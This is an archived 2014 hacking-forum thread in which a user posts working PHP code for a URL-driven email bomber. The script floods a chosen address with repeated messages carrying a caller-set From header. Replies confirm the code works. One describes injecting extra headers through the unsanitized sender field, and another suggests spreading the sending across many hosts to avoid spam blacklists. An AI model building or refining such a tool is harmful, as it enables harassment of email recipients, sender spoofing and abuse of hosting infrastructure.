![]() |
|
would this work - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Coding (https://sinister.ly/Forum-Coding) +--- Forum: PHP (https://sinister.ly/Forum-PHP) +--- Thread: would this work (/Thread-would-this-work--29007) |
would this work - Hatsune Miku - 08-10-2014 I'm trying to make a url based email bomber like an api and i'm not sure if this would work PHP Code: <?php
$num = 1;
$email =$_GET['email'];
$spam =$_GET['spam'];
$subject =$_GET['subject'];
$message =$_GET['message'];
$from =$_GET['from'];
$send =$_GET['send'];
if($spam!='' && $email=='')
{
die('Please enter an email');
}
if(51<=$spam)
{
die('Error: Number to spam to large. Max is 50 (for security reasons)');
}
if($email != '')
{
while($num<=$spam)
{
mail ($email, $subject, $message, "From: " . $from);
echo $num . "<br>";
$num++;
}
}
?>RE: would this work - Equinox - 08-11-2014 To a certain extent, yes. Though you might want to ensure that PHP's mail function is allowed by your host. Also, isset helps. RE: would this work - Hatsune Miku - 08-11-2014 (08-11-2014, 12:44 AM)Equinox Wrote: To a certain extent, yes. Though you might want to ensure that PHP's mail function is allowed by your host. Also, isset helps. kk thanks RE: would this work - kyler - 08-11-2014 You may want to sanitize user inputs. As it stands, a person could send to multiple emails at once ($to="a@Gmail.com, b@Gmail.com, c@Gmail.com, ...ect" . This could possibly be exploited to send out tons of spam. They can also pass additional headers by setting the $from variable to something like this "myaccount@Gmail.com\r\nReply-To: youraccount@Gmail.com".
RE: would this work - 2460h1 - 09-30-2014 Another thing to note is that many shared hosts limit at the server level the number of emails one account can send per hour. This could be 50, or it could be 500. Either way - large amounts of spam may trigger security measures both on the host as well as on the network. It's also very easy to get your host IP blacklisted on spam lists. If I were to do this I would look into using as many hosts as possible to send as little mail per host as possible. But that would be a much bigger project than what you have here. RE: would this work - Eclipse - 09-30-2014 You're host would ban you, but the best way to find out is to try. Looking at the code, it looks like it's fine. RE: would this work - Reiko - 09-30-2014 mail() in some instances will call sendmail via a shell, invoking the recent bash vulnerability if your host hasn't updated. Best to use several SMTP connections, possibly an array of them. |